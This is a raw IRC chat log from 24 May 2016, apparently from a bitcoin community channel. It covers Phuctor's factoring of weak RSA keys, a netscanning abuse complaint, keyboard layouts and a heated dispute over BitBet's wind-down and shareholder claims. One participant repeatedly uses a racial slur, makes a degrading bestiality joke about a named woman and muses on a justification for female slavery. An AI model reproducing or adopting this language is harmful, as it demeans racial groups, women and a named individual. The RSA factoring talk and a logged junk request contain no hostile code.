https://www.youtube.com/watch?v=dWdVwt2deY4 1471130;1464090195;mircea_popescu;Framedragger except anyone with money remembers it as "neuro linguistic programming" 1471131;1464090203;mircea_popescu;you know, how to pick up sluts in the 80s 1471132;1464090205;Framedragger;anyone with money, rly? 1471133;1464090212;Framedragger;yeahyeah meknows the other reference 1471134;1464090216;Framedragger;hm 1471135;1464090242;Framedragger;all in academic circles (i can hear our snort from here heh:D ) resolve it to the other reference, mind you 1471136;1464090243;mircea_popescu;well, maybe not mathematiclaly "any", but... 1471137;1464090249;Framedragger;*your 1471138;1464090260;mircea_popescu;i dun think so. 1471139;1464090302;Framedragger;yeah you know what, re. your idea, this is shit overwhelming, i'd also start with what you had in mind.. and think of simple markov models, etc. 1471140;1464090302;Framedragger;/me off for the time being 1471141;1464090452;mircea_popescu;fucking academia. in the rare cases they have a sane link, it's because they couldn't link to a list of pdfs from within their excel spreadsheet. 1471142;1464090461;Framedragger;p.s. so you don't read PDFs out of principle/security? i hear you.. but now i want to write some simple on-demand pdf to html converter just so i can send you goddamn PDFs to look at 1471143;1464090584;shinohai;bwahaha BingoBoingo forbes just now writing about gatecoingate http://www.forbes.com/sites/robertolsen/2016/05/24/hackers-steal-2-million-from-bitcoin-exchange-in-hong-kong-bounty-offered-to-recover-funds/ 1471144;1464090599;shinohai;Eleven days after Qntra'd 1471145;1464090629;mircea_popescu;Framedragger asciilifeform had some sort of convertor either. 1471146;1464090713;mircea_popescu;but i don't read them out of principle, yeah. nothing to do with security per se, it's all political. in general i don't wish to encourage adobe ("oh, we couldn't do without them" bullshit, it's exactly the "Social media network effect matters" sole argument of usg it corporatardia) and in particular i don't think very much of what someone who expresses themselves in pdf might think or say. much like i wouldn't have read nigg 1471147;1464090713;mircea_popescu;er speech in 1750, because who the fuck cares what some voodoo practitioners think of any topic whatsoever. 1471148;1464090721;mircea_popescu;except bureaucrat is the new nigger. 1471149;1464090726;shinohai;http://linux.die.net/man/1/pdftohtml <<< worx 1471150;1464090905;Framedragger;mircea_popescu: but this means you preemptively dismiss, say (as an offhand example), lotsa mathematicians who put their stuff as preprints on arXiv and the likes. (generated with free software and renderable with free software (but, yes, using a shitty proprietary-wannabe format nonetheless)) 1471151;1464090934;mircea_popescu;sane math people use tex. 1471152;1464090954;mircea_popescu;seriously, someone who uses pdf is a mathematician in the sense condolezza rice was an expert and obama a nobel prize winner. 1471153;1464091054;Framedragger;..and then they render to pdf. but yeah good people also link to tex source on their websites, true.. 1471154;1464091096;mircea_popescu;like the guy was asking yest "am i still welcome here", what the fuck do i care what they do to it. they can take the thing and put it through a leetspeak converter for all i care, what diff does it make. 1471155;1464091149;mircea_popescu;BingoBoingo so lisa dib is some strange aussie who is too fat to fuck dudes but discovered dogs don't mind. so she;s given up on dating and moved on to kennel life. good for her! 1471156;1464091268;mircea_popescu;"I’m all for filth but on my terms, bucko." << they can't quite figure it out lol. the ~only~ "on my terms" woman gets is if her terms happen to (silently!) coincide. otherwise... it's the dogs. 1471157;1464091276;Framedragger;shinohai: ah nice, should have known, worth a check thanks! 1471158;1464091277;Framedragger;/me really off nao 1471159;1464091282;mircea_popescu;later 1471160;1464091309;shinohai;it's pretty decent for lazy use. 1471161;1464091312;shinohai;lol 1471162;1464091464;mircea_popescu;http://btcbase.org/log/2016-05-24#1471079 << so in the end ... the police gang fucked over the black gang. ok.... ? 1471163;1464091464;a111;Logged on 2016-05-24 02:44 BingoBoingo: Ah, the news I was waiting for http://www.jameslafond.com/article.php?id=4462 1471164;1464091513;mircea_popescu;;;later tell pete_dushenski wait, you had a PANDA baby ?! 1471165;1464091514;gribble;The operation succeeded. 1471166;1464091520;mircea_popescu;the shit they do in canada i swear. 1471167;1464091535;mircea_popescu;and then the way they spring it on you, too, you know, like it's the most natural thing in the world. 1471168;1464093948;deedbot;[Recent Phuctorings.] Phuctored: 904359116964408528249771 divides RSA Moduli belonging to 'Shingondo ; ' - http://phuctor.nosuchlabs.com/gpgkey/010E565743AC6268C327A10B9AEB8895E66ED05F3931E9B54673500CD5B5CA76 1471169;1464094161;shinohai;shingondo lol 1471170;1464094563;mircea_popescu;$up funkenstein_ 1471171;1464094564;deedbot;funkenstein_ voiced for 30 minutes. 1471172;1464094567;mircea_popescu;you can self-up can't you ? 1471173;1464094590;funkenstein_;too short :) 1471174;1464094616;mircea_popescu;lmao 1471175;1464094668;mircea_popescu;o look at that phuctoring. so asciilifeform here's my wonderment : 904359116964408528249771 includes 3. it therefore can't be the result of 8ball extension. so why does it pop now, i thought mutual factorization of moduli was complete ? 1471176;1464094836;funkenstein_;liquidation complete, lemme know if I can be of further service 1471177;1464094883;mircea_popescu;o.O what, you worked that acct pro bono ? 1471178;1464094931;funkenstein_;pro bono yup 1471179;1464094972;mircea_popescu;danke! 1471180;1464094982;funkenstein_;bitte 1471181;1464095010;funkenstein_;http://btcbase.org/log/2016-05-24#1471115 <-- 100% agree 1471182;1464095010;a111;Logged on 2016-05-24 11:36 mircea_popescu: QUANTUM JUST MEANS DISCRETE MOTHERFUCKERS! 1471183;1464095036;funkenstein_;http://btcbase.org/log/2016-05-24#1471110 <-- 100% disagree 1471184;1464095036;a111;Logged on 2016-05-24 11:33 mircea_popescu: in fact the historical justification for broad female slavery is that the sex is better that way. 1471185;1464095131;mircea_popescu;with what exactly lol 1471186;1464095308;funkenstein_;that anything could be more enjoyable when "slave" 1471187;1464095322;mircea_popescu;that's not germane is it ? 1471188;1464095375;mircea_popescu;"the historical justification for human sacrificing was the theory gods care" "i don't agree gods even exist" "Sooo ?" 1471189;1464095424;funkenstein_;ah I see 1471190;1464095447;mircea_popescu;gotta watch that emotional response mr dwarf guy :) 1471191;1464095455;funkenstein_;the justification for owning ethereum is that its better than bitcoin 1471192;1464095478;funkenstein_;ok hehe 1471193;1464095487;asciilifeform;http://btcbase.org/log/2016-05-24#1471175 << wrong. 1471194;1464095487;a111;Logged on 2016-05-24 12:57 mircea_popescu: o look at that phuctoring. so asciilifeform here's my wonderment : 904359116964408528249771 includes 3. it therefore can't be the result of 8ball extension. so why does it pop now, i thought mutual factorization of moduli was complete ? 1471195;1464095499;mircea_popescu;ok but which part lol 1471196;1464095515;asciilifeform;3 * x, where x includes some new factor 1471197;1464095523;asciilifeform;think! 1471198;1464095543;mircea_popescu;you keep asking me to think. what, you think that's what missing, i never ran into someone telling me to do it ? 1471199;1464095552;asciilifeform;it's a gcd output 1471200;1464095555;mircea_popescu;i have, this sad mangled result is what comes out of me thinking. 1471201;1464095560;mircea_popescu;ok, but the gcd output of oh. 1471202;1464095565;asciilifeform;lelk 1471203;1464095565;mircea_popescu;aite :) 1471204;1464095569;asciilifeform;aha. 1471205;1464095658;asciilifeform;http://btcbase.org/log/2016-05-24#1471126 << the academitards had their entirely own nlp... 1471206;1464095658;a111;Logged on 2016-05-24 11:41 mircea_popescu: Framedragger omfg tell your friend to not use dead three letters, such as "NLP" in grant applications. suicide pact what. 1471207;1464095658;mircea_popescu;904359116964408528249771÷90194313237 = 10026786440383 ; 904359116964408528249771÷1612042960484901 = 561001871 ; 10026786440383÷561001871 = 17873 1471208;1464095664;mircea_popescu;it'd seem no new factor after all ? 1471209;1464095691;BingoBoingo; "I’m all for filth but on my terms, bucko." << they can't quite figure it out lol. the ~only~ "on my terms" woman gets is if her terms happen to (silently!) coincide. otherwise... it's the dogs. << Seriously 1471210;1464095756;BingoBoingo; ... << so in the end ... the police gang fucked over the black gang. ok.... ? << In court. Cop dude skipped a jury and had a judge try the case. A *black* judge! 1471211;1464095771;mircea_popescu;yes. so usg gang > black gang. 1471212;1464095778;mircea_popescu;ie, an individual usg black dude sided with the usg side. 1471213;1464095843;asciilifeform;mircea_popescu: how did you even conceive of dividing latest gcd by earlier. it does nothing useful 1471214;1464095878;mircea_popescu;i do random shit like that. 1471215;1464095885;BingoBoingo;mircea_popescu: Well, gotta stir the pot if they are going to make a black spring happen in Baltimore 1471216;1464095893;asciilifeform;yer making a good case for massaging out the primez 1471217;1464095897;mircea_popescu;so the new factor is a composite of the old factors ; both of them 1471218;1464095902;asciilifeform;before displaying 1471219;1464095903;mircea_popescu;you don't think this peculiar ? 1471220;1464095922;asciilifeform;mircea_popescu: nope. exactly how 8ball worx 1471221;1464095929;asciilifeform;the only way it worx 1471222;1464095939;mircea_popescu;you'll have to explain this to me again, i just thought the 8ball is a product of primes up to x 1471223;1464095950;asciilifeform;aha 1471224;1464095972;mircea_popescu;so if the product of primes up to x shook out a composite that includes NO OTHER FACTORS than the primes already found through mutual gcd'ing of extant keys 1471225;1464095977;BingoBoingo;In other not quite news: Facebook is revamping how editors find trending stories. "We could not fully exclude the possibility of isolated improper actions or unintentional bias in the implementation of our guidelines or policies," Facebook general Counsel Colin Stretch wrote. Of course, Facebook is going to train the human editors who work on their trending section; they're also going to abandon several automated tools it used to find an 1471226;1464095977;BingoBoingo;d categorize trending news in the past. Recode provides some examples, writing, "[Facebook] will no longer use its "1K list," a group of 1,000 websites it used to help verify headlines." Facebook will also get rid of several top publications, including the New York Times and CNN. 1471227;1464095985;mircea_popescu;these primes must then be some pretty fuckingmagical primes, and not the result of rand seeding. 1471228;1464095997;asciilifeform;and if gcd was once p1*p2, and now it is p1*p2*p3 1471229;1464096004;asciilifeform;then! 1471230;1464096009;mircea_popescu;yes ? 1471231;1464096061;asciilifeform;and what's more, this is how random turd behaves (try it) 1471232;1464096084;asciilifeform;loads of tiny primez 1471233;1464096149;mircea_popescu;well yes, because the probability of 5 being a factor is 1/5 and of 17 1/17, so three times rarer. 1471234;1464096168;asciilifeform;prime num theorem, etc 1471235;1464096170;mircea_popescu;ima go shake out these three numbers now and see. 1471236;1464096547;asciilifeform;also i had dream with motherfucking ~kirschner~ in it 1471237;1464096566;asciilifeform;i blame you lot!11111 1471238;1464096629;mircea_popescu;ahahaha 1471239;1464096642;mircea_popescu;the fugly argentine ex president ?! 1471240;1464096705;asciilifeform;aha 1471241;1464096709;asciilifeform;who else. 1471242;1464096837;mircea_popescu;ok so here's the wonder asciilifeform : 1471243;1464096977;mircea_popescu;904359116964408528249771 = 3*7*61*293*641*6700417*561001871 ; 1612042960484901 = 3*7*61*293*641*6700417 ; 90194313237 = 3*7*641*6700417 1471244;1464097001;mircea_popescu;so now : we found the extra prime, 561001871. 1471245;1464097007;asciilifeform;^ 1471246;1464097039;mircea_popescu;3, 7, 61, 293 and 6700417 we knew from before. 1471247;1464097039;mircea_popescu;word. 1471248;1464097070;asciilifeform;prolly i oughta display primes, not gcds. 1471249;1464097125;mircea_popescu;mebbe. depends on the work involved. 1471250;1464097424;BingoBoingo;Reddit does landscaping https://archive.is/02C88 1471251;1464097637;Framedragger;..i'm sorry to have to keep repeating myself, but i can't fucking resist: got another "abuse complaint" from www.cert.br; the entirety (non-snipped / non-excerpted) evidence it sites is (s/some_ip/[source_ip]): http://wotpaste.cascadianhacker.com/pastes/4901af69-4295-411b-8bcb-84220a53b8b3/ - that's right, THREE PACKETS 1471252;1464097679;Framedragger;asciilifeform: is there some short write-up introducing phuctor? i see http://www.loper-os.org/?p=1331 and http://phuctor.nosuchlabs.com/theory - i want to provide a link to hosting providers to substantiate the "responsible netscanning" efforts (as naive as it sounds). 1471253;1464097696;Framedragger;*of its evidence ^ 1471254;1464097698;mircea_popescu;there's a new faq page coming up, give it a day or two 1471255;1464097705;Framedragger;oh nice, awesome! 1471256;1464103467;asciilifeform;in other lulz, 1471257;1464103472;asciilifeform; and yes there were bbet logs! 1471258;1464103473;asciilifeform; its how i implemented some of the anti-ddos features - need logs for that 1471259;1464103640;shinohai;;;later tell BingoBoingo http://ix.io/KKH 1471260;1464103640;gribble;The operation succeeded. 1471261;1464103649;shinohai;^ Bruce Fenton lulz 1471262;1464104719;asciilifeform;$up mp_at_olivos 1471263;1464104719;deedbot;mp_at_olivos voiced for 30 minutes. 1471264;1464104728;mp_at_olivos;danke! 1471265;1464104747;asciilifeform;when do we get mp_at_barriloche ? 1471266;1464104753;mp_at_olivos;lol someday! 1471267;1464104753;asciilifeform;i wanna see mp tour nazitown 1471268;1464104767;asciilifeform;at this rate the last german will croak there!1111 1471269;1464104837;asciilifeform;unless map lies to me, olivos is just the upper chunk of ba 1471270;1464104880;mp_at_olivos;something like that. 1471271;1464104882;asciilifeform;and here i was expecting some deserted island or spanish fort 1471272;1464104935;*;asciilifeform rockets off on small tour of BingoBoingolandia tonight 1471273;1464105160;mp_at_olivos;anyway, since i got a little time here, to round off the whole bitbet thing 1471274;1464105170;mp_at_olivos; the theory whereby "dead to me" is supposed to read "holds a substantial fraction of my assets" and "the difference between these two statements only appeared to me sometime late may, which is coincidentally months after the alleged causative event and also within minutes of channel discussion of the fabulous failure of the miner cartel love tap and subsequent attempts to cover it up" may be either partially false or entirely 1471275;1464105177;mp_at_olivos;the one thing it can´t be is actually true. 1471276;1464105209;mp_at_olivos;obviously, there´s a peculiar path through the lies we´re suggested to take as per the usual "modern democracy" or "science" or whatever the fuck, 1471277;1464105228;mp_at_olivos;but honestly the only thing that comes to mind looking at it is, how the fuck are all the fruits of the socialist tree always the same identical shit. 1471278;1464105245;mp_at_olivos;this could be "saddam has wmds!!11" for the same exact contortion value. 1471279;1464105284;mp_at_olivos;but this nonsense aside, the fact remains that as far as contracts are concerned, kakobrekla´s idea of bitbet wind down was for him to run off with the assets. 1471280;1464105297;mp_at_olivos;i forced a more equitable solution, by which everyone got paid, him included. 1471281;1464105302;asciilifeform;how could he lift the assets if mp was treasurer ? 1471282;1464105321;asciilifeform;(it would have to be by bamboozlement ?) 1471283;1464105325;mp_at_olivos;nevertheless, that solution does not provide him any indemnity for his idiotic behaviour. to my eyes the shareholders have decent claims for destruction of value against him, 1471284;1464105350;mp_at_olivos;and should they actually decide to pursue that, the 670 btc he made off with wouldn´t suffice to cover even the principal. 1471285;1464105363;mp_at_olivos;iirc bitbet traded easily 4x that, and of course there´ll be whatever fees there´ll be. 1471286;1464105407;mp_at_olivos;so in practical terms, he can´t treat that sum as anything but a risk provision, and in no case can proceed to spend it. 1471287;1464105441;asciilifeform;who's gonna pull it out of him ? 1471288;1464105448;mp_at_olivos;this practically means he´s bankrupt, and dealing with the bankrupt is always a risky proposition for the mindful businessman. 1471289;1464105451;mp_at_olivos;or, as the story goes, http://trilema.com/2015/heres-what-they-dont-tell-you-when-they-bring-you-those-papers-to-sign/ 1471290;1464105463;mp_at_olivos;asciilifeform: i don´t know if anyone is or isn´t. but that´s besides the point. 1471291;1464105481;asciilifeform;iirc even pirate, sitting on the stake, never coughed up the coinz 1471292;1464105486;mp_at_olivos;business is what it is, by its own laws, not what derpy mc herperson "feels" it should be in his special pleaded case. 1471293;1464105491;asciilifeform;(because they were gone, likely) 1471294;1464105499;mp_at_olivos;likely. sure. 1471295;1464105502;mp_at_olivos;what´s that change. 1471296;1464105554;asciilifeform;simply that the man is likely laughing all the way to the fiatolade fountain with his 670. 1471297;1464105573;mp_at_olivos;http://btcbase.org/log/2016-05-24#1471281 plain fraud, like anything else. this year sold shares to whatever buyers, next year burned the thing down. hurr. 1471298;1464105573;a111;Logged on 2016-05-24 15:55 asciilifeform: how could he lift the assets if mp was treasurer ? 1471299;1464105593;asciilifeform;ah ru NEP style 1471300;1464105598;mp_at_olivos;yeah, well. for that matter mpex still has a claim against one harnett. as fate would have it, for a similar sum 1471301;1464105617;mp_at_olivos;that derp similarly tried to get a sort of confederacy of dounces going, in that i didn´t approve his version of events so he wouldn´t pay. 1471302;1464105622;mp_at_olivos;i´m ever so impressed to this date. 1471303;1464105640;asciilifeform;was that the bitvps kid ? 1471304;1464105664;mp_at_olivos;nah, "bitcoin banker" back in the days mp was stuck proving to the "community" of imbeciles that no. 1471305;1464105677;asciilifeform;ah him 1471306;1464105684;mp_at_olivos;;;google patrick harnett 1471307;1464105685;gribble;Error: We broke The Google! 1471308;1464105692;asciilifeform;^ methinks it's dead 1471309;1464105693;mp_at_olivos;heh. anyway. 1471310;1464105706;mp_at_olivos;stipid spanish keyboard, nothing´s where it should be. 1471311;1464105736;asciilifeform;woah mp on a heathen machine 1471312;1464105748;mp_at_olivos;hey, it´s what they have here. SOBERANIA NACIONAL!!!11 1471313;1464105753;mp_at_olivos;ergo keyboards must not work. 1471314;1464105783;mp_at_olivos;i had to copy-paste / out of urls to get it, otherwise who the fuck knows where it is 1471315;1464105787;asciilifeform;l0l! 1471316;1464105831;Framedragger;> indemnity for his idiotic behaviour 1471317;1464105831;Framedragger;mp_at_olivos: out of loop, but surely you mean more than one (unsigned) comment on a website? 1471318;1464105849;mp_at_olivos;http://btcbase.org/log/2016-05-24#1471257 yaya i´msure. 1471319;1464105849;a111;Logged on 2016-05-24 15:24 asciilifeform: and yes there were bbet logs! 1471320;1464105860;asciilifeform;recently i got my hands on a massive steel ibm terminal kbd. recently been sanding, repainting, it; and it had some lunatic layout without proper slash etc. i sawed controller out of it and replaced with new. 1471321;1464105861;mp_at_olivos;Framedragger: hm % 1471322;1464105886;Framedragger;you know, i'm not prepared to discuss it cause i'm out of my element here. i'll read more logs 1471323;1464105898;mp_at_olivos;asciilifeform: in a sane world i´d just keep my kbd layout on trilema and download into os wherever i need it. but no sane world. 1471324;1464105905;asciilifeform;aha. 1471325;1464105930;mp_at_olivos;maybe you know, i got claw hand and i want macro to sit were s is or whatever. dworak 1471326;1464105932;*;asciilifeform in sane world would carry keyboard in violin case wherever, and it'd work 1471327;1464105944;asciilifeform;mp_at_olivos: recall naggum's layout 1471328;1464105945;mp_at_olivos;nah, i think thatçs a different sort of sane. 1471329;1464105966;asciilifeform;(naggum had punctuation chars ~in the middle~, vertically) 1471330;1464105971;mp_at_olivos;motherfucker, im pissing utf everywhere like a cancerous half shark in seawater 1471331;1464106006;asciilifeform;what the living phuck is ç even doing on a sp kbd ?! 1471332;1464106026;asciilifeform;to write curaçao ? 1471333;1464106054;asciilifeform;where they don't even speak sp ? 1471334;1464106080;asciilifeform;or do spain and portugal share a kbd. 1471335;1464106086;mp_at_olivos;no ideaç. 1471336;1464106100;mp_at_olivos;but it plays the role of single quote, much like % is a question mark. 1471337;1464106112;asciilifeform;holy fuq 1471338;1464106124;asciilifeform;(fuç !) 1471339;1464106127;mp_at_olivos;let me give you the top layout for incredilolz Ñ 1471340;1464106135;mp_at_olivos;·ª"/()¡!¿?₧+¨ 1471341;1464106144;asciilifeform;₧ ?? 1471342;1464106151;mp_at_olivos;thatçs colon. 1471343;1464106172;asciilifeform;¡ai caramba! 1471344;1464106174;mp_at_olivos;or no wait, ₧ is where equal sits, atop 0 1471345;1464106188;mp_at_olivos;Ñ is colon. 1471346;1464106196;asciilifeform;¿por que such braindamage? 1471347;1464106207;mp_at_olivos;anyway, five minute call, ima be back later. prolly on a sane system, i sent out for. 1471348;1464106215;mp_at_olivos;hasta luegoª 1471349;1464106981;jurov;asciilifeform beware! tmsr considers selling shares of own business as stealing! 1471350;1464107039;asciilifeform;jurov: what's that to do with me. 1471351;1464107113;jurov;just in case you'll start having treasonous thoughts to sell some shares and withdraw from mpex 1471352;1464107133;jurov;yes, i know so far you never strayed from faith 1471353;1464107138;asciilifeform;but think about it, if the business consists of ~you, and you quietly sell shares to randos and remove all incentive for yourself to do your duty... 1471354;1464107140;asciilifeform;what's that make you. 1471355;1464107187;asciilifeform;i explained years ago that i never expect to sell my s.nsa shares, no matter how the thing goes -- for this reason. 1471356;1464107227;asciilifeform;which is likewise why not having mpex acct never especially bothered me. 1471357;1464107229;jurov;if my business lays golden eggs at least nce few months, why would it do it? 1471358;1464107234;jurov;*why would I do it? 1471359;1464107291;asciilifeform;it never wholly made sense to me why to issue shares for a thing made of one or two people. 1471360;1464107322;asciilifeform;considering that any selling is a serious signal of ill-confidence in own victory 1471361;1464107340;jurov;to sell half of future golden eggs upfront to investors? 1471362;1464107361;asciilifeform;yeah but imagine selling ~all~ 1471363;1464107363;asciilifeform;and you are the goose. 1471364;1464107370;asciilifeform;why would anyone take you seriously after that ? 1471365;1464107384;jurov;kako sold all? 1471366;1464107389;asciilifeform;in ancient times, when you sold yourself into slavery, at least you'd be collected physically 1471367;1464107402;asciilifeform;jurov: i have nfi what kako sold or did not sell. 1471368;1464107425;asciilifeform;but if he sold the bulk of his bbet holding ahead of time, then yes, it was a betrayal 1471369;1464107468;jurov;he had 25% that was not on mpex thus not possible to sell. then he got another 25% which was *supposed to be sold to public* 1471370;1464107469;asciilifeform;in the meat world there were legalisms like 'key man clause' etc. for such cases. 1471371;1464107741;asciilifeform;jurov: he easily could have sold the 'unsellable' 25%, by ~promising the coin~ in the future. 1471372;1464107749;asciilifeform;all he couldn't do is ~sell it on mpex~, legitly 1471373;1464107793;asciilifeform;jurov: understand that the blade of conspiratorial conjecture has ~two~ edges. 1471374;1464107808;asciilifeform;and can cut as easily in one direction as the other. 1471375;1464107841;jurov;im confused. what am i supposedly conspiring here? 1471376;1464107873;jurov;you are conspiring he sold something he should not as per some sinister end 1471377;1464107930;asciilifeform;jurov: well not you, or at least , not here. 1471378;1464107932;asciilifeform;other mega-thread. 1471379;1464107998;jurov;let's please not mix everyhing together. we have on table a new (to me) accusation kakobrekla sold share of bitbet under shady circumstances 1471380;1464108021;jurov;and the proceeds were thus impounded 1471381;1464108028;trinque;if you cross someone with whom you're doing business, and the cost to their reputation is not enough to harm them, they fuck you back. 1471382;1464108030;jurov;do you have anything to say to this one? 1471383;1464108052;trinque;you people are still going on like old spinsters trying to wrangle this thing legally 1471384;1464108103;trinque;asciilifeform: got your message; perhaps they come out rapidly enough that more than six get dumped at a time to RSS? 1471385;1464108121;trinque;I think the thing as written only ever barfs last six to avoid spamming the channel 1471386;1464108125;trinque;I could alter that 1471387;1464108165;asciilifeform;trinque: they do 1471388;1464108172;asciilifeform;trinque: they come out potentially maxint at a time. 1471389;1464108179;asciilifeform;but rss displays, iirc, 20. 1471390;1464108187;asciilifeform;(this is a knob and i can move it) 1471391;1464108212;asciilifeform;but yeah, hilariously kako's feed (he has one) got all of the phuctoringz 1471392;1464108214;asciilifeform;and ours - didn't 1471393;1464108557;trinque;ok, I can move my knob to 20 1471394;1464108650;trinque;done 1471395;1464108788;deedbot;[Btc Alpha Blog] Betting BitBet Both Ways - http://www.btcalpha.com/blog/2014/betting-bitbet-both-ways/ 1471396;1464108788;deedbot;[Btc Alpha Blog] A Year of S.MPOE - http://www.btcalpha.com/blog/2014/a-year-of-s-mpoe/ 1471397;1464108788;deedbot;[Btc Alpha Blog] BitBet Affiliate Ad - http://www.btcalpha.com/blog/2014/bitbet-affiliate-ad/ 1471398;1464108788;deedbot;[Btc Alpha Blog] A New Investment Fund - http://www.btcalpha.com/blog/2014/a-new-investment-fund/ 1471399;1464108788;deedbot;[Bingo Blog] Buffet Problems - http://www.thedrinkingrecord.com/2014/10/24/buffet-problems/ 1471400;1464108788;deedbot;[Bingo Blog] Qntra: Nearly a month in - http://www.thedrinkingrecord.com/2014/10/31/qntra-nearly-a-month-in/ 1471401;1464108789;deedbot;[Bingo Blog] ATC Closing Statement - http://www.thedrinkingrecord.com/2014/10/31/atc-closing-statement/ 1471402;1464108789;deedbot;[Bingo Blog] BBWAA Awards Predictions - http://www.thedrinkingrecord.com/2014/11/08/bbwaa-awards-predictions/ 1471403;1464108790;deedbot;[Loper OS] Comrade Ogilvy Nakamoto. - http://www.loper-os.org/?p=1468 1471404;1464108790;deedbot;[Loper OS] Trilema 2014 - http://www.loper-os.org/?p=1475 1471405;1464108791;deedbot;[Loper OS] Tungsten Will Melt in Your Mouth! - http://www.loper-os.org/?p=1482 1471406;1464109187;trinque;d'oh 1471407;1464113702;asciilifeform;in other lulz, 1471408;1464113704;asciilifeform;61.216.2.15 - - [24/May/2016:18:09:53 +0000] "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x0 1471409;1464113704;asciilifeform;1\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01 1471410;1464113706;asciilifeform;\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01" 400 173 "-" "-" "-" 1471411;1464113707;mircea_popescu;http://btcbase.org/log/2016-05-24#1471349 << funny. but no. selling shares in what you pretend to be a business and then setting that on fire however does open you to liability. because your job as a principal is to act in the best interest of the shareholders. that's the only criteria. the ONLY criteria. 1471412;1464113707;a111;Logged on 2016-05-24 16:23 jurov: asciilifeform beware! tmsr considers selling shares of own business as stealing! 1471413;1464113731;mircea_popescu;and if you diverge from it, no matter how you justify the divergence to yourself, or to a random mob of uninvolved bystanders, you'll be held for it. 1471414;1464113757;asciilifeform;mircea_popescu: didja catch him sellin' or conjecture ? 1471415;1464113793;mircea_popescu;asciilifeform we're discussing a general matter here, afaik ? 1471416;1464113817;mircea_popescu;you know, what every derpy socialist ever says, once his idiocy blows up. "i only meant well", as if that somehow provides immunity. 1471417;1464113837;mircea_popescu;what ceausescu died embracing, and each and every of 'em idiots to date. "they meant well" and left a hole behind. 1471418;1464113839;asciilifeform;aha but iirc it began with http://btcbase.org/log/2016-05-24#1471297 1471419;1464113839;a111;Logged on 2016-05-24 15:59 mp_at_olivos: http://btcbase.org/log/2016-05-24#1471281 plain fraud, like anything else. this year sold shares to whatever buyers, next year burned the thing down. hurr. 1471420;1464113880;mircea_popescu;asciilifeform guy's total deposit covered an account creation. whatever he has, he has from selling bitbet, logically. 1471421;1464113900;asciilifeform;from bbet ipo, according to him 1471422;1464113912;mircea_popescu;ipo = selling shares last i checked. 1471423;1464113920;asciilifeform;tru! 1471424;1464113922;mircea_popescu;so then. 1471425;1464113934;asciilifeform;but this is slightly different from 'i'ma sell it all then pull the plug, haha' 1471426;1464113963;mircea_popescu;how ? 1471427;1464113974;asciilifeform;yearz of working as described on box ? 1471428;1464113984;mircea_popescu;i guess. 1471429;1464113996;jurov;so, he had the premeditated plan of selling them and then waiting for a year to pull the plug? 1471430;1464114002;mircea_popescu;"the car worked fine until itblew up, producer not liable" 1471431;1464114014;mircea_popescu;jurov what difference would it make ? 1471432;1464114072;mircea_popescu;forget this entire "what derp meant to do". it's uninteresting. derp's judged on what he did. and if i'm to pay ~20 btc which nobody disputes i actually spent, because that's how the stars alligned, kakobrekla can sure as fuck pay ~2k btc that some think he earned, because that's how the stars lined up. 1471433;1464114084;mircea_popescu;davout set the precedent in, dangerous as it may be, we're now with it. 1471434;1464114138;mircea_popescu;he is, of course, idemnified as per contract to "amt actually realised". which is, to date, 670 btc and change, so there is that. 1471435;1464114153;trinque;there seems to be pervasive confusion as to what interacting as peers *means* 1471436;1464114167;trinque;as though the forum is to play the role of centralized mob-judge 1471437;1464114180;mircea_popescu;kinda why i'm entertaining the whole nonsense, supposed to be educative. 1471438;1464114381;mircea_popescu;http://btcbase.org/log/2016-05-24#1471359 << also supposed to be educative, if nothing else. 1471439;1464114381;a111;Logged on 2016-05-24 16:28 asciilifeform: it never wholly made sense to me why to issue shares for a thing made of one or two people. 1471440;1464114392;asciilifeform;this, surely 1471441;1464114405;asciilifeform;anal education, in some cases, with spikes 1471442;1464114406;mircea_popescu;generally, recall, at the fucking time all this got started, the same "community" of imbeciles that had "forum bankers" and whatever the fuck, ALSO had "glbse" and "investments". 1471443;1464114430;mircea_popescu;yeah well, education is a square built off a line that reads "beatings" 1471444;1464114519;mircea_popescu;http://btcbase.org/log/2016-05-24#1471379 << no, we don't. we have the situation where kakobrekla destroyed 2-3k btc of shareholder value, and the reasonable, at least to my eyes, civil claim against him by the victims. 1471445;1464114519;a111;Logged on 2016-05-24 16:39 jurov: let's please not mix everyhing together. we have on table a new (to me) accusation kakobrekla sold share of bitbet under shady circumstances 1471446;1464114540;mircea_popescu;i've yet to encounter that mirabilis item, the bitbet ex-shareholder that thinks kakobrekla helped him. and that's that. 1471447;1464114653;mircea_popescu;http://btcbase.org/log/2016-05-24#1471380 << the notion that kakobrekla had anything to be impounded is entirely based on kakobrekla's pretense, which is both late and contradictory to his own earlier statements. see http://btcbase.org/log/2016-05-24#1471274 1471448;1464114653;a111;Logged on 2016-05-24 15:52 mp_at_olivos: the theory whereby "dead to me" is supposed to read "holds a substantial fraction of my assets" and "the difference between these two statements only appeared to me sometime late may, which is coincidentally months after the alleged causative event and also within minutes of channel discussion of the fabulous failure of the miner cartel love tap and subsequent attempts to cover it up" may be either partially false or entirely 1471449;1464114653;a111;Logged on 2016-05-24 16:40 jurov: and the proceeds were thus impounded 1471450;1464114697;mircea_popescu;this claim is not at any point considered or lent any credence by discussion of the shareholder claim item above. it's dead weight, and it won't be rescued by trying to 